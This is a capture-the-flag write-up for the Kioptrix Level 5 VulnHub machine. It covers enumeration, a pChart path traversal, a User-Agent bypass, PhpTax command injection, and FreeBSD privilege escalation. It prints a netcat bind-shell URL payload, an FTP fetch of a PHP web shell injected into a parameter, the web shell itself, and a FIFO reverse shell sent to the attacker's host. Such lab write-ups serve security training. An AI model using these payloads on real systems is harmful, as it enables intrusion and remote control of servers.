This is my writeup for the Kioptrix Level 5 VM from vulnhub.com. It's considered as easy. The object of the game is to acquire root access via any means possible. There are more ways then one to successfully complete the challenges.
When scanning the host with nmap we find two open ports:
- 80: Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
- 8080: Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
When accessing the host on port 80 via browser we get the common It works!.
When accessing the host on port 8080 via browser we get Forbidden.
So we first check port 80. Reading the source-code reveals more information:
<html> <head> <!-- <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php"> --> </head> <body> <h1>It works!</h1> </body> </html>
So we next access
http://__IP__/pChart2.1.3/index.php what shows us indeed a running pchart.
pChart is a PHP library that will help you to create anti-aliased charts or pictures directly from your web server.
A quick search returned multiple vulnerabilities.
I fired up BURP Intruder with common lists. What confused me was, no apache2 conf was returned. So there must be something special with FreeBSD.
In FreeBSD, the main Apache HTTP Server configuration file is installed as /usr/local/etc/apache2x/httpd.conf, where x represents the version number.
Voilà (note the apache22):
The interesting part here is:
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser <VirtualHost *:8080> DocumentRoot /usr/local/www/apache22/data2 <Directory "/usr/local/www/apache22/data2"> Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser </Directory>
That's the reason why we got a forbidden on port 8080 (see above).
To access the server, we need to send the proper user-agent:
curl -A "Mozilla/4.0 Mozilla4_browser" http://__IP__:8080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <ul><li><a href="phptax/"> phptax/</a></li> </ul> </body></html>
What is PhpTax?
PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS.
A quick search reveals, PhpTax is vulnerable to Remote Code Execution.
Bindshell on port 23235 using netcat: http://localhost/phptax/drawimage.php?pfilez=xxx; nc -l -v -p 23235 -e /bin/bash;&pdf=make
The example from exploit-db did not work. No connection was made.
Oh wait! Remember we're dealing with FreeBSD?
And FreeBSD's option -e means something completely different:
-e If IPsec support is available, then one can specify the IPsec policies to be used using the syntax described in ipsec_set_policy(3).This flag can be specified up to two times, as typically one policy for each direction is needed.
Let's get a webshell and prove this with the usage output:
Get a minimal FTP-Server (pyftpdlib)
$ pip3 install pyftpdlib
$ python3 -m pyftpdlib
Upload a mini-shell:
<?php echo shell_exec($_GET['c'].' 2>&1');?>
curl -A "Mozilla/4.0 Mozilla4_browser" -G -v "http://__IP__:8080/phptax/drawimage.php" --data-urlencode "pfilez=1040d1-pg2.tob;ftp -4 -d -v ftp://__IP__:2121/c.php;" --data-urlencode "pdf=make"
Now we can see, nc's option e expects a policy. This means we need another way to bind a shell.
One option is FIFO:
FIFO Special Files
A FIFO special file is similar to a pipe, except that it is created in a different way. Instead of being an anonymous communications channel, a FIFO special file is entered into the file system by calling mkfifo.
Once you have created a FIFO special file in this way, any process can open it for reading or writing, in the same way as an ordinary file. However, it has to be open at both ends simultaneously before you can proceed to do any input or output operations on it. Opening a FIFO for reading normally blocks until some other process opens the same FIFO for writing, and vice versa.
Let's create the file:
$ curl __IP__/phptax/c.php?c=mkfifo p
$ nc -lv 4242
$ curl __IP__/phptax/c.php?c=/bin/sh 0<p | nc __IP__ 4242 1>p
Now that we're on the system we need to escalate our privileges.
Since this is the only FreeBSD from this series, we first check for exploits for:
$ uname -mrs FreeBSD 9.0-RELEASE amd64
We can find FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
Let's try to understand the exploit.
2012 Xen released a blog post where we can find a good explanation:
It has to do with a subtle difference in the way in which Intel processors implement error handling in their version of AMD’s SYSRET instruction. The SYSRET instruction is part of the x86-64 standard defined by AMD. If an operating system is written according to AMD’s spec, but run on Intel hardware, the difference in implementation can be exploited by an attacker to write to arbitrary addresses in the operating system’s memory.
Do we have an intel processor?
$ curl http://__IP__:8080/phptax/c.php?c=dmesg | grep -i cpu CPU: Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz (3392.23-MHz K8-class CPU) cpu0: on acpi0
It seems this box is vulnerable. Let's shoot this exploit:
- Upload c code
$ ftp -4 -d -v ftp://__IP__:2121/exploit.c
$ gcc exploit.c
- Run it
- Read flag